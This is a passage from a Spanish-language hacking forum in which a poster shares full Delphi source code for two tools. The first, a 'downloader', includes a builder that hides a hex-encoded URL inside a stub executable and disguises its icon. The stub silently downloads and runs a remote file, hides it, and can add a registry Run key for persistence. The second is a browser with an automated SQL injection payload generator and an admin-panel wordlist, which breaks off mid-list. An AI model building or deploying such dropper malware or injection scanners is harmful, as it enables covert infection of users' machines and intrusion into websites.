  29.    sRadioButton1: TsRadioButton;
  30.    sRadioButton2: TsRadioButton;
  31.    sGroupBox4: TsGroupBox;
  32.    sButton1: TsButton;
  33.    sProgressBar1: TsProgressBar;
  34.    IdHTTP1: TIdHTTP;
  35.    procedure sButton1Click(Sender: TObject);
  36.    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  37.      AWorkCount: Int64);
  38.    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  39.      AWorkCountMax: Int64);
  40.    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  41.    procedure FormCreate(Sender: TObject);
  42.  private
  43.    { Private declarations }
  44.  public
  45.    { Public declarations }
  46.  end;
  47.  
  48. var
  49.  Form3: TForm3;
  50.  
  51. implementation
  52.  
  53. uses about, dh;
  54. {$R *.dfm}
  55. // Functions
  56.  
  57. function getfilename(archivo: string): string;
  58. var
  59.  test: TStrings;
  60. begin
  61.  
  62.  test := TStringList.Create;
  63.  test.Delimiter := '/';
  64.  test.DelimitedText := archivo;
  65.  Result := test[test.Count - 1];
  66.  
  67.  test.Free;
  68.  
  69. end;
  70.  
  71. //
  72.  
  73. procedure TForm3.FormCreate(Sender: TObject);
  74. begin
  75.  sProgressBar1.Position := 0;
  76. end;
  77.  
  78. procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  79.  AWorkCount: Int64);
  80. begin
  81.  sProgressBar1.Position := AWorkCount;
  82.  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  83.  sStatusBar1.Update;
  84. end;
  85.  
  86. procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  87.  AWorkCountMax: Int64);
  88. begin
  89.  sProgressBar1.Max := AWorkCountMax;
  90.  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  91.  sStatusBar1.Update;
  92. end;
  93.  
  94. procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  95. begin
  96.  sProgressBar1.Position := 0;
  97. end;
  98.  
  99. procedure TForm3.sButton1Click(Sender: TObject);
  100. var
  101.  filename: string;
  102.  nombrefinal: string;
  103.  addnow: TRegistry;
  104.  archivobajado: TFileStream;
  105.  
  106. begin
  107.  
  108.  if not sCheckBox1.Checked then
  109.  begin
  110.    filename := sEdit1.Text;
  111.    nombrefinal := getfilename(filename);
  112.  end
  113.  else
  114.  begin
  115.    nombrefinal := sEdit2.Text;
  116.  end;
  117.  
  118.  archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  119.  
  120.  try
  121.    begin
  122.      DeleteFile(nombrefinal);
  123.      IdHTTP1.Get(sEdit1.Text, archivobajado);
  124.      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
  125.      sStatusBar1.Update;
  126.      archivobajado.Free;
  127.    end;
  128.  except
  129.    sStatusBar1.Panels[0].Text := '[-] Failed download';
  130.    sStatusBar1.Update;
  131.    archivobajado.Free;
  132.    Abort;
  133.  end;
  134.  
  135.  if FileExists(nombrefinal) then
  136.  begin
  137.  
  138.    if sCheckBox2.Checked then
  139.    begin
  140.      if not DirectoryExists(sEdit3.Text) then
  141.      begin
  142.        CreateDir(sEdit3.Text);
  143.      end;
  144.      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
  145.      sStatusBar1.Panels[0].Text := '[+] File Moved';
  146.      sStatusBar1.Update;
  147.    end;
  148.  
  149.    if sCheckBox3.Checked then
  150.    begin
  151.      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
  152.      if sCheckBox2.Checked then
  153.      begin
  154.        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
  155.          FILE_ATTRIBUTE_HIDDEN);
  156.  
  157.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  158.        sStatusBar1.Update;
  159.      end
  160.      else
  161.      begin
  162.        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
  163.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  164.        sStatusBar1.Update;
  165.      end;
  166.    end;
  167.  
  168.    if sCheckBox4.Checked then
  169.    begin
  170.  
  171.      addnow := TRegistry.Create;
  172.      addnow.RootKey := HKEY_LOCAL_MACHINE;
  173.      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  174.  
  175.      if sCheckBox2.Checked then
  176.      begin
  177.        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
  178.      end
  179.      else
  180.      begin
  181.        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
  182.            + '/' + nombrefinal);
  183.      end;
  184.  
  185.      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
  186.      sStatusBar1.Update;
  187.  
  188.      addnow.Free;
  189.  
  190.    end;
  191.  
  192.    if sCheckBox5.Checked then
  193.    begin
  194.  
  195.      if sRadioButton1.Checked then
  196.      begin
  197.        if sCheckBox2.Checked then
  198.        begin
  199.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  200.            nil, nil, SW_SHOWNORMAL);
  201.        end
  202.        else
  203.        begin
  204.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
  205.            SW_SHOWNORMAL);
  206.        end;
  207.      end
  208.      else
  209.      begin
  210.        if sCheckBox2.Checked then
  211.        begin
  212.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  213.            nil, nil, SW_HIDE);
  214.        end
  215.        else
  216.        begin
  217.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
  218.        end;
  219.      end;
  220.  
  221.    end;
  222.  
  223.    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
  224.      sCheckBox4.Checked or sCheckBox5.Checked then
  225.    begin
  226.      sStatusBar1.Panels[0].Text := '[+] Finished';
  227.      sStatusBar1.Update;
  228.    end;
  229.  
  230.  end;
  231.  
  232. end;
  233.  
  234. end.
  235.  
  236. // The End ?
  237.  

El generador.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit generate;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
  11.  sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;
  12.  
  13. type
  14.  TForm4 = class(TForm)
  15.    Image1: TImage;
  16.    sStatusBar1: TsStatusBar;
  17.  
  18.    OpenDialog1: TOpenDialog;
  19.    sPageControl1: TsPageControl;
  20.    sTabSheet1: TsTabSheet;
  21.    sTabSheet2: TsTabSheet;
  22.    sTabSheet3: TsTabSheet;
  23.    sGroupBox1: TsGroupBox;
  24.    sGroupBox2: TsGroupBox;
  25.    sEdit1: TsEdit;
  26.    sGroupBox3: TsGroupBox;
  27.    sEdit2: TsEdit;
  28.    sGroupBox4: TsGroupBox;
  29.    sRadioButton1: TsRadioButton;
  30.    sRadioButton2: TsRadioButton;
  31.    sGroupBox5: TsGroupBox;
  32.    sGroupBox6: TsGroupBox;
  33.    sGroupBox7: TsGroupBox;
  34.    Image2: TImage;
  35.    sButton1: TsButton;
  36.    sGroupBox8: TsGroupBox;
  37.    sComboBox1: TsComboBox;
  38.    sGroupBox9: TsGroupBox;
  39.    sCheckBox1: TsCheckBox;
  40.    sEdit3: TsEdit;
  41.    sGroupBox10: TsGroupBox;
  42.    sButton2: TsButton;
  43.    procedure sButton1Click(Sender: TObject);
  44.    procedure sEdit2Click(Sender: TObject);
  45.    procedure sButton2Click(Sender: TObject);
  46.  
  47.    procedure FormCreate(Sender: TObject);
  48.  
  49.  private
  50.    { Private declarations }
  51.  public
  52.    { Public declarations }
  53.  end;
  54.  
  55. var
  56.  Form4: TForm4;
  57.  
  58. implementation
  59.  
  60. {$R *.dfm}
  61. // Functions
  62.  
  63. function dhencode(texto, opcion: string): string;
  64. // Thanks to Taqyon
  65. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  66. var
  67.  num: integer;
  68.  aca: string;
  69.  cantidad: integer;
  70.  
  71. begin
  72.  
  73.  num := 0;
  74.  Result := '';
  75.  aca := '';
  76.  cantidad := 0;
  77.  
  78.  if (opcion = 'encode') then
  79.  begin
  80.    cantidad := length(texto);
  81.    for num := 1 to cantidad do
  82.    begin
  83.      aca := IntToHex(ord(texto[num]), 2);
  84.      Result := Result + aca;
  85.    end;
  86.  end;
  87.  
  88.  if (opcion = 'decode') then
  89.  begin
  90.    cantidad := length(texto);
  91.    for num := 1 to cantidad div 2 do
  92.    begin
  93.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  94.      Result := Result + aca;
  95.    end;
  96.  end;
  97.  
  98. end;
  99.  
  100. function getfilename(archivo: string): string;
  101. var
  102.  test: TStrings;
  103. begin
  104.  
  105.  test := TStringList.Create;
  106.  test.Delimiter := '/';
  107.  test.DelimitedText := archivo;
  108.  Result := test[test.Count - 1];
  109.  
  110.  test.Free;
  111.  
  112. end;
  113.  
  114. //
  115.  
  116. procedure TForm4.FormCreate(Sender: TObject);
  117. begin
  118.  
  119.  OpenDialog1.InitialDir := GetCurrentDir;
  120.  OpenDialog1.Filter := 'ICO|*.ico|';
  121.  
  122. end;
  123.  
  124. procedure TForm4.sButton2Click(Sender: TObject);
  125. var
  126.  linea: string;
  127.  aca: THandle;
  128.  code: Array [0 .. 9999 + 1] of Char;
  129.  nose: DWORD;
  130.  marca_uno: string;
  131.  marca_dos: string;
  132.  url: string;
  133.  opcionocultar: string;
  134.  savein: string;
  135.  lineafinal: string;
  136.  stubgenerado: string;
  137.  tipodecarga: string;
  138.  change: DWORD;
  139.  valor: string;
  140.  
  141. begin
  142.  
  143.  url := sEdit1.Text;
  144.  stubgenerado := 'tiny_down.exe';
  145.  
  146.  if (sRadioButton2.Checked = True) then
  147.  begin
  148.    tipodecarga := '1';
  149.  end
  150.  else
  151.  begin
  152.    tipodecarga := '0';
  153.  end;
  154.  
  155.  if (sCheckBox1.Checked = True) then
  156.  begin
  157.    opcionocultar := '1';
  158.  end
  159.  else
  160.  begin
  161.    opcionocultar := '0';
  162.  end;
  163.  
  164.  if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  165.  begin
  166.    savein := 'USERPROFILE';
  167.  end
  168.  else
  169.  begin
  170.    savein := sComboBox1.Items[sComboBox1.ItemIndex];
  171.  end;
  172.  
  173.  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
  174.    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
  175.    '[name]' + '[carga]' + tipodecarga + '[carga]';
  176.  
  177.  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  178.  
  179.  aca := INVALID_HANDLE_VALUE;
  180.  nose := 0;
  181.  
  182.  DeleteFile(stubgenerado);
  183.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  184.        + '/' + 'Data/stub_down.exe'), PChar
  185.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  186.  
  187.  linea := marca_uno;
  188.  StrCopy(code, PChar(linea));
  189.  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
  190.    OPEN_EXISTING, 0, 0);
  191.  if (aca <> INVALID_HANDLE_VALUE) then
  192.  begin
  193.    SetFilePointer(aca, 0, nil, FILE_END);
  194.    WriteFile(aca, code, 9999, nose, nil);
  195.    CloseHandle(aca);
  196.  end;
  197.  
  198.  //
  199.  
  200.  if not(sEdit3.Text = '') then
  201.  begin
  202.    try
  203.      begin
  204.  
  205.        valor := IntToStr(128);
  206.  
  207.        change := BeginUpdateResourceW
  208.          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  209.                + '/' + stubgenerado)), False);
  210.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  211.          PWideChar(wideString(sEdit3.Text)));
  212.        EndUpdateResourceW(change, False);
  213.        sStatusBar1.Panels[0].Text := '[+] Done ';
  214.        sStatusBar1.Update;
  215.      end;
  216.    except
  217.      begin
  218.        sStatusBar1.Panels[0].Text := '[-] Error';
  219.        sStatusBar1.Update;
  220.      end;
  221.    end;
  222.  end
  223.  else
  224.  begin
  225.    sStatusBar1.Panels[0].Text := '[+] Done ';
  226.    sStatusBar1.Update;
  227.  end;
  228.  
  229.  //
  230.  
  231. end;
  232.  
  233. procedure TForm4.sButton1Click(Sender: TObject);
  234. begin
  235.  
  236.  if OpenDialog1.Execute then
  237.  begin
  238.    Image2.Picture.LoadFromFile(OpenDialog1.FileName);
  239.    sEdit3.Text := OpenDialog1.FileName;
  240.  end;
  241.  
  242. end;
  243.  
  244. procedure TForm4.sEdit2Click(Sender: TObject);
  245. begin
  246.  if not(sEdit1.Text = '') then
  247.  begin
  248.    sEdit2.Text := getfilename(sEdit1.Text);
  249.  end;
  250. end;
  251.  
  252. end.
  253.  
  254. // The End ?
  255.  

El stub

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. // Stub
  5.  
  6. program stub_down;
  7.  
  8. // {$APPTYPE CONSOLE}
  9.  
  10. uses
  11.  SysUtils, Windows, URLMon, ShellApi;
  12.  
  13.  
  14. // Functions
  15.  
  16. function regex(text: String; deaca: String; hastaaca: String): String;
  17. begin
  18.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  19.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  20.  Result := text;
  21. end;
  22.  
  23. function dhencode(texto, opcion: string): string;
  24. // Thanks to Taqyon
  25. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  26. var
  27.  num: integer;
  28.  aca: string;
  29.  cantidad: integer;
  30.  
  31. begin
  32.  
  33.  num := 0;
  34.  Result := '';
  35.  aca := '';
  36.  cantidad := 0;
  37.  
  38.  if (opcion = 'encode') then
  39.  begin
  40.    cantidad := Length(texto);
  41.    for num := 1 to cantidad do
  42.    begin
  43.      aca := IntToHex(ord(texto[num]), 2);
  44.      Result := Result + aca;
  45.    end;
  46.  end;
  47.  
  48.  if (opcion = 'decode') then
  49.  begin
  50.    cantidad := Length(texto);
  51.    for num := 1 to cantidad div 2 do
  52.    begin
  53.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  54.      Result := Result + aca;
  55.    end;
  56.  end;
  57.  
  58. end;
  59.  
  60. //
  61.  
  62. var
  63.  ob: THandle;
  64.  code: Array [0 .. 9999 + 1] of Char;
  65.  nose: DWORD;
  66.  link: string;
  67.  todo: string;
  68.  opcion: string;
  69.  path: string;
  70.  nombre: string;
  71.  rutafinal: string;
  72.  tipodecarga: string;
  73.  
  74. begin
  75.  
  76.  try
  77.  
  78.    ob := INVALID_HANDLE_VALUE;
  79.    code := '';
  80.  
  81.    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  82.      OPEN_EXISTING, 0, 0);
  83.    if (ob <> INVALID_HANDLE_VALUE) then
  84.    begin
  85.      SetFilePointer(ob, -9999, nil, FILE_END);
  86.      ReadFile(ob, code, 9999, nose, nil);
  87.      CloseHandle(ob);
  88.    end;
  89.  
  90.    todo := regex(code, '[63686175]', '[63686175]');
  91.    todo := dhencode(todo, 'decode');
  92.  
  93.    link := regex(todo, '[link]', '[link]');
  94.    opcion := regex(todo, '[opcion]', '[opcion]');
  95.    path := regex(todo, '[path]', '[path]');
  96.    nombre := regex(todo, '[name]', '[name]');
  97.    tipodecarga := regex(todo, '[carga]', '[carga]');
  98.  
  99.    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
  100.  
  101.    try
  102.  
  103.      begin
  104.        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
  105.  
  106.        if (FileExists(rutafinal)) then
  107.        begin
  108.  
  109.          if (opcion = '1') then
  110.          begin
  111.            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
  112.          end;
  113.  
  114.          if (tipodecarga = '1') then
  115.          begin
  116.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
  117.          end
  118.          else
  119.          begin
  120.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
  121.          end;
  122.        end;
  123.  
  124.      end;
  125.    except
  126.      //
  127.    end;
  128.  
  129.  except
  130.    //
  131.  end;
  132.  
  133. end.
  134.  
  135. // The End ?
  136.  

Si lo quieren bajar lo pueden hacer de aca.
145  Programación / Programación General / [Delphi] DH Browser 0.2 en: 15 Noviembre 2013, 15:02 pm
Un simple browser que hice en Delphi con las siguientes opciones :

  • Podes ver el codigo HTML de la pagina cargada
  • Se puede buscar palabras en el codigo HTML
  • Poder modificar los headers para HTTP header injection
  • Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  • Trae un PanelFinder para buscar el panel del admin

Unas imagenes :





El codigo :

Carga

Código
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhbrowse;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
  11.  sSkinManager;
  12.  
  13. type
  14.  TForm1 = class(TForm)
  15.    sGroupBox1: TsGroupBox;
  16.    sProgressBar1: TsProgressBar;
  17.    Timer1: TTimer;
  18.    Image1: TImage;
  19.  
  20.    sSkinManager1: TsSkinManager;
  21.    procedure Button1Click(Sender: TObject);
  22.    procedure Timer1Timer(Sender: TObject);
  23.    procedure FormCreate(Sender: TObject);
  24.  private
  25.    { Private declarations }
  26.  public
  27.    { Public declarations }
  28.  end;
  29.  
  30. var
  31.  Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. uses programa;
  36. {$R *.dfm}
  37.  
  38. procedure TForm1.Button1Click(Sender: TObject);
  39. begin
  40.  Form2.Show;
  41. end;
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. begin
  45.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  46.  sSkinManager1.SkinName := 'tv-b';
  47.  sSkinManager1.Active := True;
  48. end;
  49.  
  50. procedure TForm1.Timer1Timer(Sender: TObject);
  51. var
  52.  i: integer;
  53.  total: integer;
  54.  
  55. begin
  56.  
  57.  total := 0;
  58.  sProgressBar1.Min := 0;
  59.  sProgressBar1.Max := 100;
  60.  
  61.  For i := 1 to 100 do
  62.  begin
  63.  
  64.    Form1.Update;
  65.  
  66.    Sleep(1000);
  67.    // Sleep(1);
  68.  
  69.    total := total + 10;
  70.  
  71.    sProgressBar1.Position := total;
  72.  
  73.    if (sProgressBar1.Position = 100) then
  74.    begin
  75.      Timer1.Enabled := False;
  76.      Form1.Hide;
  77.      Form2.Show;
  78.      Abort;
  79.    end;
  80.  end;
  81.  
  82. end;
  83.  
  84. end.
  85.  
  86. // The End ?
  87.  

Navegador

Código
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  5. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  6. // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  7.  
  8. unit programa;
  9.  
  10. interface
  11.  
  12. uses
  13.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
  15.  sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
  16.  ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
  17.  IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;
  18.  
  19. type
  20.  TForm2 = class(TForm)
  21.    sSkinManager1: TsSkinManager;
  22.    sGroupBox1: TsGroupBox;
  23.    sEdit1: TsEdit;
  24.    sButton1: TsButton;
  25.    sGroupBox2: TsGroupBox;
  26.    sMemo1: TsMemo;
  27.    sCheckBox1: TsCheckBox;
  28.    sGroupBox3: TsGroupBox;
  29.    sStatusBar1: TsStatusBar;
  30.    WebBrowser1: TWebBrowser;
  31.    sGroupBox4: TsGroupBox;
  32.    sButton2: TsButton;
  33.    sButton3: TsButton;
  34.    sGroupBox5: TsGroupBox;
  35.    sButton4: TsButton;
  36.    sLabel1: TsLabel;
  37.    Image1: TImage;
  38.    sMemo2: TsMemo;
  39.    PopupMenu1: TPopupMenu;
  40.    S1: TMenuItem;
  41.    S2: TMenuItem;
  42.    IdHTTP1: TIdHTTP;
  43.    PerlRegEx1: TPerlRegEx;
  44.    FindDialog1: TFindDialog;
  45.    sProgressBar1: TsProgressBar;
  46.    procedure sButton1Click(Sender: TObject);
  47.    procedure S1Click(Sender: TObject);
  48.    procedure S2Click(Sender: TObject);
  49.    procedure sButton3Click(Sender: TObject);
  50.    procedure sButton2Click(Sender: TObject);
  51.    procedure sButton4Click(Sender: TObject);
  52.    procedure FindDialog1Find(Sender: TObject);
  53.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  54.    procedure WebBrowser1ProgressChange(ASender: TObject;
  55.      Progress, ProgressMax: Integer);
  56.    procedure WebBrowser1DownloadComplete(Sender: TObject);
  57.    procedure FormCreate(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.  public
  61.    { Public declarations }
  62.  end;
  63.  
  64. var
  65.  Form2: TForm2;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70.  
  71. procedure TForm2.FindDialog1Find(Sender: TObject);
  72.  
  73. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  74.  
  75. var
  76.  aca: PChar;
  77.  aca2: PChar;
  78.  acatoy: PChar;
  79.  acatoy2: Word;
  80.  
  81. begin
  82.  
  83.  With Sender as TFindDialog do
  84.  
  85.  begin
  86.  
  87.    GetMem(aca2, Length(FindText) + 1);
  88.    StrPCopy(aca2, FindText);
  89.  
  90.    acatoy2 := sMemo2.GetTextLen + 1;
  91.    GetMem(aca, acatoy2);
  92.  
  93.    sMemo2.GetTextBuf(aca, acatoy2);
  94.  
  95.    acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
  96.    acatoy := StrPos(acatoy, aca2);
  97.  
  98.    if not(acatoy = NIL) then
  99.    begin
  100.      sMemo2.SelStart := acatoy - aca;
  101.      sMemo2.SelLength := Length(FindText);
  102.    end;
  103.  
  104.    sMemo2.SetFocus;
  105.  
  106.  end;
  107.  
  108. end;
  109.  
  110. procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
  111. begin
  112.  Application.Terminate;
  113. end;
  114.  
  115. procedure TForm2.FormCreate(Sender: TObject);
  116. begin
  117.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  118.  sSkinManager1.SkinName := 'tv-b';
  119.  sSkinManager1.Active := True;
  120. end;
  121.  
  122. procedure TForm2.S1Click(Sender: TObject);
  123. begin
  124.  WebBrowser1.Visible := false;
  125.  sMemo2.Visible := True;
  126. end;
  127.  
  128. procedure TForm2.S2Click(Sender: TObject);
  129. begin
  130.  WebBrowser1.Visible := True;
  131.  sMemo2.Visible := false;
  132. end;
  133.  
  134. procedure TForm2.sButton1Click(Sender: TObject);
  135.  
  136. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  137.  
  138. var
  139.  
  140.  cabeceras: OLEVariant;
  141.  uno: OLEVariant;
  142.  dos: OLEVariant;
  143.  tres: OLEVariant;
  144.  
  145. begin
  146.  
  147.  uno := navNoReadFromCache or navNoWriteToCache;
  148.  dos := '';
  149.  tres := '';
  150.  
  151.  if (sCheckBox1.Checked) then
  152.  begin
  153.    cabeceras := sMemo1.Text;
  154.    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  155.  end
  156.  else
  157.  begin
  158.    cabeceras := '';
  159.    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  160.  end;
  161. end;
  162.  
  163. procedure TForm2.sButton2Click(Sender: TObject);
  164. var
  165.  pass1: string;
  166.  pass2: string;
  167.  code: string;
  168.  urltest: string;
  169.  urlgen: string;
  170.  full: string;
  171.  codedos: string;
  172.  i: Integer;
  173.  
  174. begin
  175.  
  176.  sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
  177.  Form2.sStatusBar1.Update;
  178.  
  179.  pass1 := '+';
  180.  pass2 := '--';
  181.  
  182.  urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  183.  
  184.  sStatusBar1.Panels[0].Text := '[+] Checking ...';
  185.  Form2.sStatusBar1.Update;
  186.  
  187.  code := IdHTTP1.Get
  188.    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);
  189.  
  190.  codedos := IdHTTP1.Get
  191.    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);
  192.  
  193.  if not(code = codedos) then
  194.  begin
  195.  
  196.    sStatusBar1.Panels[0].Text := '[+] Finding columns number';
  197.    Form2.sStatusBar1.Update;
  198.  
  199.    urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
  200.      'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  201.    urlgen := '1';
  202.    for i := 2 to 36 do
  203.    begin
  204.      sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  205.      Form2.sStatusBar1.Update;
  206.      urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
  207.        + ',0x4b30425241)';
  208.      urlgen := urlgen + ',' + IntToStr(i);
  209.      code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
  210.      PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
  211.      PerlRegEx1.Subject := code;
  212.  
  213.      if PerlRegEx1.Match then
  214.      begin
  215.  
  216.        urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
  217.          'hackman', []);
  218.        full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
  219.          'union' + pass1 + 'select' + pass1 + urlgen;
  220.  
  221.        sEdit1.Text := full;
  222.        Abort;
  223.  
  224.      end;
  225.    end;
  226.  end;
  227.  
  228.  sStatusBar1.Panels[0].Text := '[+] Done';
  229.  Form2.sStatusBar1.Update;
  230.  
  231. end;
  232.  
  233. procedure TForm2.sButton3Click(Sender: TObject);
  234. const
  235.  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  236.    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  237.    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  238.    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  239.    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  240.    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  241.    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  242.    'login/index.asp', 'login/index.aspx', 'login/login.asp',
  243.    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  244.    'administracion/index.asp', 'administracion/index.aspx',
  245.    'administracion/login.asp', 'administracion/login.aspx',
  246.    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  247.    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  248.    'admin/admin.php', 'admin/index.php', 'admin/login.php',
  249.    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  250.    'admin/default.php', 'administracion/', 'administracion/index.php',
  251.    'administracion/login.php', 'administracion/ingresar.php',
  252.    'administracion/admin.php', 'administration/', 'administration/index.php',
  253.    'administration/login.php', 'administrator/index.php',
  254.    'administrator/login.php', 'administrator/system.php', 'system/',
  255.    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  256.    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  257.    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  258.    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  259.    'admin/index.html', 'admin/login.html', 'admin/home.php',
  260.    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  261.    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  262.    'administrator/index.html', 'administrator/login.html',
  263.    'administrator/account.html', 'administrator/account.php',
  264.    'administrator.html', 'login.html', 'modelsearch/login.php',
  265.    'moderator.php', 'moderator.html', 'moderator/login.php',
  266.    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  267.    'moderator/', 'account.php', 'account.html', 'controlpanel/',
  268.    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  269.    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  270.    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  271.    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  272.    'administrator/index.asp', 'administrator/login.asp',
  273.    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  274.    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  275.    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  276.    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
